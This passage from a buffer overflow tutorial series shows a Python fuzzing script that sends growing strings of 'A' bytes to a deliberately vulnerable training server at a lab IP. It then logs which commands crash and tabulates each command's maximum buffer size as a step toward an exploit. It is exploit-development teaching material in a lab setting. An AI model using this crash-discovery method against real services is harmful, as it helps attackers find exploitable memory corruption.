6.3 : Classic buffer overflow - Win32 buffer overflow (Part III)

Lets continue from the last buffer overflow.

3. Submit junk data to vulsever and look for the maximum buffer it can hold.

prope script

import socket, sys


def get_message(length, prepend=None):
    """
    prope server

    construct request message
    :param length:integer total byte
    :return: string
    """
    ret = ""
    if length > 0:
        ret = "A" * length
    return prepend + " " + ret if prepend is not None else ret


def prope(message):
    """
    prope server

    :param message: request message
    :return: void
    """
    host = "192.168.56.102"
    port = 9999
    res = None
    try:
        my_socket = socket.socket()
        my_socket.connect((host, port))
        my_socket.settimeout(1)  # add this to prevent freeze the connection
        my_socket.recv(2048).decode()
        my_socket.send(message.encode())
        res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
        my_socket.close()
        # hide the success , look for failure, we need crash. we need failure.
        # print("[success] %s:%s %s => %s" % (host, port, message, res))
    except:
        print("[error] %s:%s %s => None" % (host, port, len(message)))  # modify the output for testing ttl length
        raise
        # sys.exit()


def main():
    # try 5kb prope by 10byte / incremental , see when crash
    max = 5000
    each = 10

    print("testing cmds")
    cmds = [
        None,
        # "STATS"
        # , "RTIME"
        # , "LTIME"
        # , "SRUN"
        # , "TRUN"
        # , "GMON"
        # , "GDOG"
        # , "KSTET"
        # , "GTER"
        # , "HTER"
        # , "LTER"
        #  "KSTAN"
    ]

    for cmd in cmds:
        print("testing %s" % cmd)
        i = 0
        while i < max:
            try:
                prope(get_message(i, cmd))
                i += each
            except:
                break

    print("completed test")


if __name__ == "__main__":
    main()

Right now, we have a prope script to fill up the buffer and looking for a EIP to change the memory address.

Let’s try to prope function piece by piece, we need to look for the exact number of bytes that will make it crash.

> python3 exploit.py
testing cmds
testing None
[error] 192.168.56.102:9999 0 => None
completed test
> python3 exploit.py
testing cmds
testing STATS
completed test
> python3 exploit.py
testing cmds
testing RTIME
completed test
> python3 exploit.py
testing cmds
testing LTIME
completed test
> python3 exploit.py
testing cmds
testing SRUN
completed test
> python3 exploit.py
testing cmds
testing TRUN
completed test
> python3 exploit.py
testing cmds
testing GMON
[error] 192.168.56.102:9999 275 => None
completed test
> python3 exploit.py
testing cmds
testing GDOG
completed test
> python3 exploit.py
testing cmds
testing KSTET
[error] 192.168.56.102:9999 76 => None
completed test
> python3 exploit.py
testing cmds
testing GTER
[error] 192.168.56.102:9999 155 => None
completed test
> python3 exploit.py
testing cmds
testing HTER
[error] 192.168.56.102:9999 2045 => None
completed test
> python3 exploit.py
testing cmds
testing LTER
completed test
> python3 exploit.py
testing cmds
testing KSTAN
completed test

Success. Now we have a maxmium buffer byte table. Lets look for which function can be exploited.

In the above code, we tested <= 5000 bytes buffer. So if there is no error, it can hold 5kb max buffers.
Attack VectorMax Buffer(Bytes)None5kbSTATS5kbRTIME5kbLTIME5kbSRUN5kbTRUN5kbGMON140GDOG5kbKSTET60GTER140HTER2030LTER5kbKSTAN5kb
Since a win32 exploit needs ~ 350 bytes for the exploit, if the max buffer limited within 350 bytes, that attack vector is not applicable.

Now we have the following vectors for further testing.

  • None | 5kb
  • STATS | 5kb
  • RTIME | 5kb
  • LTIME| 5kb
  • SRUN| 5kb
  • TRUN| 5kb
  • GDOG| 5kb
  • HTER| 2030
  • LTER| 5kb
  • KSTAN| 5kb